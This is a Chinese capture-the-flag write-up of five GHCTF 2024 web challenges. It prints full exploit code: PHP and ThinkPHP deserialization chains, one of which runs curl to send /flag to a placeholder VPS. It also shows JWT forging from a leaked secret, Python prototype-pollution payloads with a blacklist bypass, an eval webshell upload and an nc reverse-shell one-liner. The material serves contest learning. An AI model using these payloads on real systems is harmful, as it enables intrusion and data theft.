[GHCTF 2024]ezzz_unserialize
<?php/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/error_reporting(0);classSakura{public$apple;public$strawberry;publicfunction__construct($a){$this->apple=$a;}function__destruct(){echo$this->apple;}publicfunction__toString(){$new=$this->strawberry;return$new();}}classNoNo{private$peach;publicfunction__construct($string){$this->peach=$string;}publicfunction__get($name){$var=$this->$name;$var[$name]();}}classBasaraKing{public$orange;public$cherry;public$arg1;publicfunction__call($arg1,$arg2){$function=$this->orange;return$function();}publicfunction__get($arg1){$this->cherry->ll2('b2');}}classUkyoTachibana{public$banana;public$mangosteen;publicfunction__toString(){$long= @$this->banana->add();return$long;}publicfunction__set($arg1,$arg2){if($this->mangosteen->tt2){echo"Sakura was the best!!!";}}}classE{public$e;publicfunction__get($arg1){array_walk($this,function($Monday,$Tuesday){$Wednesday=new$Tuesday($Monday);foreach($Wednesdayas$Thursday){echo($Thursday.'<br>');}});}}classUesugiErii{protected$coconut;protectedfunctionaddMe(){return"My time with Sakura was my happiest time".$this->coconut;}publicfunction__call($func,$args){call_user_func([$this,$func."Me"],$args);}}classHeraclqs{public$grape;public$blueberry;publicfunction__invoke(){if(md5(md5($this->blueberry))==123){return$this->grape->hey;}}}classMaiSakatoku{public$Carambola;private$Kiwifruit;publicfunction__set($name,$value){$this->$name=$value;if($this->Kiwifruit="Sakura"){strtolower($this->Carambola);}}}if(isset($_POST['GHCTF'])){unserialize($_POST['GHCTF']);}else{highlight_file(__FILE__);}
首先我们可以先确定关键点就是在于
classE{public$e;publicfunction__get($arg1){array_walk($this,function($Monday,$Tuesday){$Wednesday=new$Tuesday($Monday);foreach($Wednesdayas$Thursday){echo($Thursday.'<br>');}});}}
了解一下array_walk函数的用法
对数组中的每一个元素应用用户所自定义的函数
例如以下代码
<?phpfunctionmyfunc($value,$key){echo$key;echo$value;}$a=array("a"=>"two","b"=>"one");array_walk($a,"myfunc");
根据上面的代码,我们就可以理解为:第一个参数是参数数组,第二个参数就是用户自定义的函数
而此题目的代码,很明显第一个参数是$this,这是代表将当前的E类当作参数数组传给后面的匿名函数
匿名函数里面接收了两个参数一个$Monday,一个$Tuesday
分别对应着E类里面的属性和属性的值
之后通过这行代码$Wednesday=new$Tuesday($Monday);,我们可以知晓用原生类做操作
原生类输出的内容还必须是可迭代的数组
示例代码如下:
<?phperror_reporting(0);classE{public$e;publicfunctionprint(){array_walk($this,function($Monday,$Tuesday){echo"Monday => ".$Monday." | ";echo"Tuesday => ".$Tuesday." | ";// $Wednesday = new $Tuesday($Monday);foreach($Wednesdayas$Thursday){echo($Thursday.'<br>');}});}}$a=newE();$a->e="123";$a->aaaa="321";$a->print();
Monday =>123|Tuesday=>e|Monday=>321|Tuesday=>aaaa|
接下来我们就要去寻找pop链,由于此题类众多,所以我们需要去逆推
E::__get->Heraclqs::__invoke->Sakura::__toString->Sakura::__destruct
这条链子都没有问题,唯一要注意的就是Heraclqs::__invoke
classHeraclqs{public$grape;public$blueberry;publicfunction__invoke(){if(md5(md5($this->blueberry))==123){return$this->grape->hey;}}}
很明显,我们需要满足if判断,双md5加密后要等于123,也就是弱比较
我们需要爆破出双md5加密后,前三个字符为123,紧接着就是字母
import hashlib
import itertools
import string
charset =string.digits+string.ascii_letters
temp = itertools.permutations(charset,3)#爆破字符
ss ="123"for i in temp:
value ="".join(i)
hash1 = hashlib.md5(value.encode()).hexdigest()
result = hashlib.md5(hash1.encode()).hexdigest()if result[:3]== ss and result[3].isdigit()!=True:print(value)print(result)1xE
123f91c054f21245ea0130c353cd268d
2tL
123efb30143bdfb734dbbca564d3b6c1
3lD
123bd5b684441a96f13ca9a84f27d85f
4Cs
123c4401f5e69ce636d84ba65e212d25
5nb
123b7f57292d091179acf104fb06fc46
8UF
123c73c352eb60ee0490d18cca679540
aW8
123ac960c0aeec921c78090612c97792
dY1
123be54b97522800b12460c054fbaaa2
esW
123d421d8e8cf3c6b510faafac4d6955
f0w
123b5b3e178d13229daa030ec761faeb
fpr
123a27f6b4365c6f2bf233ddbcf123c2
i2x
123b0c2ad09dcb72b1c741484302d617
jA4
123f275f3f51e568bb6b8e64aa915a96
l4c
123d2bea9174185c248e00ae5e3964ae
msj
123b8afe511deaebe3b6a09c46e79c5c
ouK
123f96770a22200a03d8390c9e5c5c99
v94
123ddcb3300a8c491c0b69437f30ea9c
x3Q
123e7c842bda99116a60ba21b2c8b8a4
za4
123be3a1e076a7733fd30d38b871c6aa
Bp7
123d12764c8b04ef2ef4e93cb99a2736
BsC
123a11415281d8580d04114c06b035d5
Cit
123b2893b87693cbf2a28e1154581930
F1J123b443033f1f334cafc6dcdd18b906a
GJN123e54b9d1c075c47c70ad37046adeac
Iyf
123cbc83ec3ea74e9ea169ff73a9f519
OgK
123fca0fb7f20f37ca89ffd0017676ca
V0E123cef7793b532a38a5d9f07757045fe
X02123caf12b42087246001ea5c15ee6369
XGd
123eb3bda6e069dd94ab06685a295ca9
接下来我们开始编写pop链
<?phpclassSakura{public$apple;public$strawberry;}classE{public$e;}classHeraclqs{public$grape;public$blueberry;}$s=newSakura;$s->apple=newSakura;$s->apple->strawberry=newHeraclqs;$s->apple->strawberry->blueberry="2tL";$s->apple->strawberry->grape=newE;$s->apple->strawberry->grape->FilesystemIterator="/";echoserialize($s);?>
现在我们已经知道了存放flag值的文件名,直接进行读取
<?phpclassSakura{public$apple;public$strawberry;}classNoNo{private$peach;}classBasaraKing{public$orange;public$cherry;public$arg1;}classUkyoTachibana{public$banana;public$mangosteen;}classE{public$e;}classUesugiErii{protected$coconut;}classHeraclqs{public$grape;public$blueberry;}classMaiSakatoku{public$Carambola;private$Kiwifruit;}$s=newSakura;$s->apple=newSakura;$s->apple->strawberry=newHeraclqs;$s->apple->strawberry->blueberry="2tL";$s->apple->strawberry->grape=newE;$s->apple->strawberry->grape->SplFileObject="/1_ffffffflllllagggggg";echoserialize($s);?>O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"2tL";}}s:10:"strawberry";N;}
得到flag内容
[GHCTF 2024]理想国
访问得到,如下api
{"swagger":"2.0","info":{"description":"Interface API Documentation","version":"1.1","title":"Interface API"},"paths":{"/api-base/v0/register":{"post":{"consumes":["application/json"],"summary":"User Registration API","description":"Used for user registration","parameters":[{"username":"body","in":"body","required":true,"schema":{"$ref":"#/definitions/UserRegistration"}},{"password":"body","in":"body","required":true,"schema":{"$ref":"#/definitions/UserRegistration"}}],"responses":{"200":{"description":"success"},"400":{"description":"Invalid request parameters"},"401":{"description":"Your wisdom is not sufficient to be called a sage"}}}},"/api-base/v0/login":{"post":{"consumes":["application/json"],"summary":"User Login API","description":"Used for user login","parameters":[{"username":"body","in":"body","required":true,"schema":{"$ref":"#/definitions/UserLogin"}},{"password":"body","in":"body","required":true,"schema":{"$ref":"#/definitions/UserLogin"}}],"responses":{"200":{"description":"success"},"400":{"description":"Invalid request parameters"}}}},"/api-base/v0/search":{"get":{"summary":"Information Query API","description":"Used to query information","parameters":[{"name":"file","in":"query","required":true,"type":"string"}],"responses":{"200":{"description":"success"},"400":{"description":"Invalid request parameters"},"401":{"description":"Unauthorized"},"404":{"description":"File not found"}},"security":[{"TokenAuth":[]}]}},"/api-base/v0/logout":{"get":{"summary":"Logout API","description":"Used for user logout","responses":{"200":{"description":"success"},"401":{"description":"Unauthorized"}},"security":[{"TokenAuth":[]}]}}},"definitions":{"UserRegistration":{"type":"object","properties":{"username":{"type":"string"},"password":{"type":"string"}}},"UserLogin":{"type":"object","properties":{"username":{"type":"string"},"password":{"type":"string"}}}},"securityDefinitions":{"TokenAuth":{"type":"apiKey","name":"Authorization","in":"header"}},"security":[{"TokenAuth":[]}]}
当前节点:JSON.paths./api-base/v0/register.post.parameters[0].in
一眼看过去,有三个路由:register、login、search
register通过json格式的username和password可以注册用户
login通过json格式的username和password可以登陆用户
search可以通过get传参的file读取文件内容
这题的源代码我们还没有看到,所以我使用search路由去读取/app/app.py的源代码
http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/app/app.py
# coding=gbkimport json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True
app.config['SECRET_KEY']= os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 ={'code':0,'message':'failed','result':None}
response1 ={'code':1,'message':'success','result': current_time}
response2 ={'code':2,'message':'Invalid request parameters','result':None}defauth(func):@wraps(func)defdecorated(*args,**kwargs):
token = request.cookies.get('token')ifnot token:return'Invalid token',401try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])if payload['username']== User.username and payload['password']== User.password:return func(*args,**kwargs)else:return'Invalid token',401except:return'Something error?',500return decorated
defcheck(func):@wraps(func)defdecorated(*args,**kwargs):
token = request.cookies.get('token')ifnot token:return'Invalid token',401try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])if payload['username']=="Plato"and payload['password']=="ideal_state":return func(*args,**kwargs)else:return'You are not a sage. You cannot enter the ideal state.',401except:return'Something error?',500return decorated
@app.route('/', methods=['GET'])defindex():return send_file('api-docs.json', mimetype='application/json;charset=utf-8')@app.route('/enterIdealState', methods=['GET'])@checkdefgetflag():
flag = os.popen("/readflag").read()return flag
@app.route('/api-base/v0/register', methods=['GET','POST'])defregister():if request.method =='POST':
username = request.json['username']if username =="Plato":return'Your wisdom is not sufficient to be called a sage.',401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username,'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)return jsonify(response1)return jsonify(response2),[email protected]('/api-base/v0/login', methods=['GET','POST'])deflogin():if request.method =='POST':
username = request.json['username']
password = request.json['password']try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])if payload['username']== username and payload['password']== password:
response = jsonify(response1)
response.set_cookie('token', token)return response
else:return jsonify(response0),401except jwt.ExpiredSignatureError:return'Invalid token',401except jwt.InvalidTokenError:return'Invalid token',401return jsonify(response2),[email protected]('/api-base/v0/logout')deflogout():
response = jsonify({'message':'Logout successful!'})
response.delete_cookie('token')return response
@app.route('/api-base/v0/search', methods=['POST','GET'])@authdefapi():if request.args.get('file'):try:withopen(request.args.get('file'),'r')asfile:
data =file.read()return render_template_string(data)except FileNotFoundError:return'File not found',404except jwt.ExpiredSignatureError:return'Invalid token',401except jwt.InvalidTokenError:return'Invalid token',401except Exception:return'something error?',500else:return jsonify(response2)classMemUser:defsetUser(self, username, password):
self.username = username
self.password = password
defsetToken(self, token):
self.token = token
def__init__(self):
self.username ="admin"
self.password ="password"
self.token = jwt.encode({'username': self.username,'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')if __name__ =='__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)
然后读取环境变量配置文件
http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/proc/self/environ
B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r
获得Secret_key,根据代码分析,这题的意思也是访问enterIdealState路由,然后解jwt,判断用户名为:
Plato
,密码为:
ideal_state
接下来我们去jwt.io网站进行构造
修改cookie访问enterIdealState得到flag
[GHCTF 2024]CMS直接拿下
题目是一个thinkphp框架
扫描目录发现www.zip
下面我只对关键的代码进行了分析
Api.php内容
<?phpnamespaceapp\controller;useapp\model\AdminUser;useapp\model\Datas;useapp\model\Student;useapp\validate\User;usethink\exception\ValidateException;usethink\facade\Db;usethink\facade\Session;usethink\Request;classApi{publicfunctionlogin(Request$request){//获取用户提交的数据$post=$request->post();//对用户提交的数据进行验证,如果验证失败捕获ValidateException异常,并返回一个包含错误信息的json响应,提示账号或密码错误try{validate(User::class)->check($post);}catch(ValidateException$e){returnjson(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);}//查询数据库信息,根据用户提交的用户名查询对应的用户信息$data=AdminUser::where('username',$post['username'])->findOrEmpty();//检查是否查询到数据库信息,以及用户提交的密码是否与数据库中存储的密码匹配上if(!$data->isEmpty()&&$data['password']===$post['password']){//从数据库中取值,赋值到userinfo数组里 id,username,password$userinfo=["id"=>$data['id'],"username"=>$data['username'],"password"=>$data['password'],];//将用户信息存储到会话中Session::set('userinfo',$userinfo);//返回一个json响应,提示登陆成功,然后重定向到admin/index页面returnjson(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);}else{returnjson(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);}}publicfunctionlogout(){// 退个屁,不对接前端了//退出登陆页面,删除session信息Session::delete('userinfo');//返回登陆页面returnredirect('/admin/login');}publicfunctionlist(Request$request){//这个函数是在登陆成功后访问//获取session存储的userinfo信息$userinfo=Session::get('userinfo');//判断如果session信息为空,就回到登陆页面if(is_null($userinfo)){returnredirect('/admin/login');}else{//实例化datas对象作为数据库操作$db=newDatas;//从用户提交的请求中获取页码和显示数量的参数,如果没有就默认提供第一页,每页只显示10条数据$page=$request->get('page',1);$limit=$request->get('limit',10);//定义一个空的查询条件$where=[];//查询数据库获取符号条件的数据$datas=$db->where($where)->field('serialize')->page($page,$limit)->select();//统计符合条件的数据总数$count=$db->where($where)->count();//定义一个空数组lists$lists=[];//循环上面查询到符合条件的数据foreach($datasas$data){//对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中$data=unserialize($data['serialize']);$lists[]=["id"=>$data->id,"name"=>$data->name,"score1"=>$data->score1,"score2"=>$data->score2,"score3"=>$data->score3,"average"=>$data->average];}//将每条数据的特定字段提取出来,构建一个新的数组,包括每条数据的id、名称returnjson(["code"=>0,"data"=>$lists,"count"=>$count,"msg"=>"获取成功",]);}}publicfunctionupdate(Request$request){//也是登陆成功后才能使用的函数$userinfo=Session::get('userinfo');//判断是否为空if(is_null($userinfo)){returnredirect('/admin/login');}else{//获取用户提交的数据$data=$request->post('data');// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);// }// 随便吧,无所谓了,不想再编程下去了//实例化datas作为数据库操作的实例$db=newDatas;//将接收到的数据保存到数据库中$result=$db->save(['serialize'=>$data]);//返回结果returnjson(["code"=>200,"msg"=>"修改成功"]);}}// 不想再编程下去了,直接丢一个序列化的接口,省事publicfunctionseria(Request$request){//登陆成功以后才能访问//获取session信息$userinfo=Session::get('userinfo');//判断是否为空if(is_null($userinfo)){returnredirect('/admin/login');}else{//自定义了一个类,序列化数据到seria中$seria=serialize(newStudent($request->post('id',2),$request->post('name','李四'),$request->post('score1',91),$request->post('score2',92),$request->post('score3',93)));//返回获取成功returnjson(["code"=>200,"data"=>$seria,"msg"=>"获取成功"]);}}publicfunctionusers(){//实列化AdminUser,用作数据库操作$db=newAdminUser;//查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露$datas=$db->select();returnjson(["code"=>0,"data"=>$datas,"msg"=>"获取成功",]);}// public function add()// {// $userinfo = Session::get('userinfo');// if(is_null($userinfo)){// return redirect('/admin/login');// }// $db = new Datas;// $seria = serialize(new Student(3,'王五',94,100,100));// $data = ['serialize'=>$seria];// $result = $db->allowField(['serialize'])->save($data);// }// public function test(Request $request)// {// $post = $request->post();//// unserialize($post['payload']);// }}
首先关键点就是在于list路由,会出现反序列化
foreach($datasas$data){//对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中$data=unserialize($data['serialize']);$lists[]=["id"=>$data->id,"name"=>$data->name,"score1"=>$data->score1,"score2"=>$data->score2,"score3"=>$data->score3,"average"=>$data->average];}
确定了反序列化的点,那我们需要去找序列化的点
在
seria
路由
$seria=serialize(newStudent($request->post('id',2),$request->post('name','李四'),$request->post('score1',91),$request->post('score2',92),$request->post('score3',93)));
不给都被固定写死了,不过这个路由并没有写导入数据库的操作,而是在update路由
publicfunctionupdate(Request$request){//也是登陆成功后才能使用的函数$userinfo=Session::get('userinfo');//判断是否为空if(is_null($userinfo)){returnredirect('/admin/login');}else{//获取用户提交的数据$data=$request->post('data');// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);// }// 随便吧,无所谓了,不想再编程下去了//实例化datas作为数据库操作的实例$db=newDatas;//将接收到的数据保存到数据库中$result=$db->save(['serialize'=>$data]);//返回结果returnjson(["code"=>200,"msg"=>"修改成功"]);}}
并且没有任何的过滤,update路由会去判断session是否为空,所以我们要登陆进去才能访问这个路由,此题没有注册路由但是给了一个用户泄露的路由就是users
publicfunctionusers(){//实列化AdminUser,用作数据库操作$db=newAdminUser;//查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露$datas=$db->select();returnjson(["code"=>0,"data"=>$datas,"msg"=>"获取成功",]);}
没有对session进行检验,所以我们直接访问就可以得到用户信息
拿着这个信息进行登陆,之后来到后台页面
然后我们通过修改按钮,抓包,到update路由时篡改序列化数据
pop链脚本如下
<?phpnamespacethink\model\concern;traitConversion{}traitAttribute{private$data=["ten"=>"curl http://xxx.xxxx.xxxx.xxxx:8989/ -d `cat /flag`"];private$withAttr=["ten"=>"system"];}namespacethink;abstractclassModel{usemodel\concern\Attribute;usemodel\concern\Conversion;private$lazySave=true;protected$withEvent=false;private$exists=true;private$force=true;protected$field=[];protected$schema=[];protected$connection='mysql';protected$name;protected$suffix='';}namespacethink\model;usethink\Model;classPivotextendsModel{function__construct($obj=''){$this->name=$obj;}}$a=newPivot();$b=newPivot($a);echourlencode(serialize($b));
之后远程vps开启8989端口监听,发包之后刷新成绩页面
[GHCTF 2024 新生赛]Po11uti0n~~~
访问首页提供了源代码,下面我直接给我分析时写的解释了
import uuid
from flask import Flask, request, session
from secret import black_list
import json
'''
@Author: hey
@message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''
app = Flask(__name__)#随机生成key
app.secret_key =str(uuid.uuid4())#定义了类似waf的函数defcannot_be_bypassed(data):#循环black_list列表for i in black_list:#判断如果黑名单里值在用户提交的数据里就返回Falseif i in data:returnFalsereturnTrue#接收了两个参数,src和dstdefmagicallllll(src, dst):#判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性ifhasattr(dst,'__getitem__'):#循环srcfor key in src:#遍历src,如果src中的值是字典类型,则遍历src的键ifisinstance(src[key],dict):#如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数if key in dst andisinstance(src[key],dict):
magicallllll(src[key], dst[key])else:#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key]= src[key]else:#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key]= src[key]else:#如果dst不具有__getitem__属性,就会进入到这个里面#针对src生成键值对for key, value in src.items():#如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数ifhasattr(dst,key)andisinstance(value,dict):
magicallllll(value,getattr(dst, key))#否则将src的键值赋值给dst中的属性else:setattr(dst, key, value)classuser():#初始化username和passworddef__init__(self):
self.username =""
self.password =""passdefcheck(self, data):#判断用户提交的username和password是否和类中存储的用户名和密码相同if self.username == data['username']and self.password == data['password']:returnTruereturnFalse#定义一个空列表
Users =[]#用户的注册函数@app.route('/user/register',methods=['POST'])defregister():#判断用户提交的数据是否为空if request.data:try:#检查请求的数据是否包含了恶意的数据ifnot cannot_be_bypassed(request.data):return"Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"#将请求的数据转换成了json格式
data = json.loads(request.data)#判断username和password是否在转换后的json数据里if"username"notin data or"password"notin data:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
User = user()#调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
magicallllll(data, User)#然后将注册成功后的用户信息存储到Users列表中
Users.append(User)except Exception:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"return"Congratulations,The username and password is correct,Register Success!!!"else:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"@app.route('/user/login',methods=['POST'])deflogin():if request.data:try:
data = json.loads(request.data)if"username"notin data or"password"notin data:return"The username or password is incorrect,Login Failed,Please log in again!!!"for user in Users:if user.cannot_be_bypassed(data):
session["username"]= data["username"]return"Congratulations,The username and password is correct,Login Success!!!"except Exception:return"The username or password is incorrect,Login Failed,Please log in again!!!"return"Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"@app.route('/',methods=['GET'])defindex():returnopen(__file__,"r").read()if __name__ =="__main__":
app.run(host="0.0.0.0", port=8080)
分析完,基本上就可以知道,这是一个python的原型链污染
magicallllll函数很典型,就是将数值进行合并
下面两个路由register和login路由,关键的路由就是register,因为在用户提交参数以后,就会将用户的请求以json键值对的形式(也就是字典)合并到User类中
这里如果传入了特定的值就可以造成原型链的污染,污染基类的属性
@app.route('/user/register',methods=['POST'])defregister():if request.data:try:ifnot cannot_be_bypassed(request.data):return"Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
data = json.loads(request.data)if"username"notin data or"password"notin data:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
User = user()
magicallllll(data, User)
Users.append(User)except Exception:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"return"Congratulations,The username and password is correct,Register Success!!!"else:return"Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
不过我们要注意cannot_be_bypassed会对我们提交的数据,进行检查,但是它没有给我们黑名单里面的东西
所以只能盲测,不过后来想想这是用的json格式,那我们直接使用unicode编码绕过不就可以了
注意:不能使用+号拼接绕过,因为json格式的数据,只能是双引号包裹的数据
下面是正常的形式
我们先简单理解一下为什么这样去写
__class__ 用于获取对象所属的类
check 为什么会有这个函数的出现,这是因为,__class__属性是无法和__globals__属性连用
并且为什么是check函数,这是因为我们提交的数据会和User类进行合并,那么__class__获取到的就是User类,而这个类目前就只有check方法
__globals__ 用于访问全局变量(注意只能在函数内使用)
__file__ 该变量,我们也可以发现,在根路由有使用,用来读取当前的页面
下面我们进行unicode的编码
注意:/proc/self/environ已经被我换成了/proc/1/environ
之后再访问首页
上面是解法1了,下面我再给你们介绍一个解法2
参考此文章
https://tttang.com/archive/1876/#toc__3
_static_url_path 是存放flask中的静态目录的路径,默认值就是static
正常访问的话,就是通过http://xxxxx/static/xxxx
所以我们只要将其值篡改,那我们就可以通过其访问到任何文件
__init__ 在创建类的实例时会进行初始化操作
{"username":"ten","password":"123456","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}
然后还是unicode编码
{"username":"ten","password":"123456","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}}}}
不过,这题我们无法直接读取到flag,估计是flag的文件名被修改了
黑名单
secret.py
black_list =[b'__init__',b'__globals__',b'__file__',b'jinja',b'black_list',b'environ',b'app',b'admin',b'root',]
[GHCTF 2024]PermissionDenied
题目源代码
<?phpfunctionblacklist($file){$deny_ext=array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");$ext=pathinfo($file,PATHINFO_EXTENSION);foreach($deny_extas$value){if(stristr($ext,$value)){returnfalse;}}returntrue;}if(isset($_FILES['file'])){$filename=urldecode($_FILES['file']['name']);$filecontent=file_get_contents($_FILES['file']['tmp_name']);if(blacklist($filename)){file_put_contents($filename,$filecontent);echo"Success!!!";}else{echo"Hacker!!!";}}else{highlight_file(__FILE__);}
file_put_content函数有一个文件解析的漏洞
当上传
123.php/.
的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为
.
的文件,最终上传创建的是123.php
123.php内容
<?php eval($_POST[0]);phpinfo();?>
import requests
url ="http://node6.anna.nssctf.cn:22921/"file={"file":("123.php%2f.",open('1.php','r'))}
res = requests.post(url=url,files=file).text
print(res)
蚁剑连接进去以后,可以发现无法执行命令
查看phpinfo信息,发现命令执行函数被禁用了
那我们只能使用蚁剑的插件了
成功命令执行,那我们就反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8989>/tmp/f
版权归原作者 Ten^v^ 所有, 如有侵权,请联系我们删除。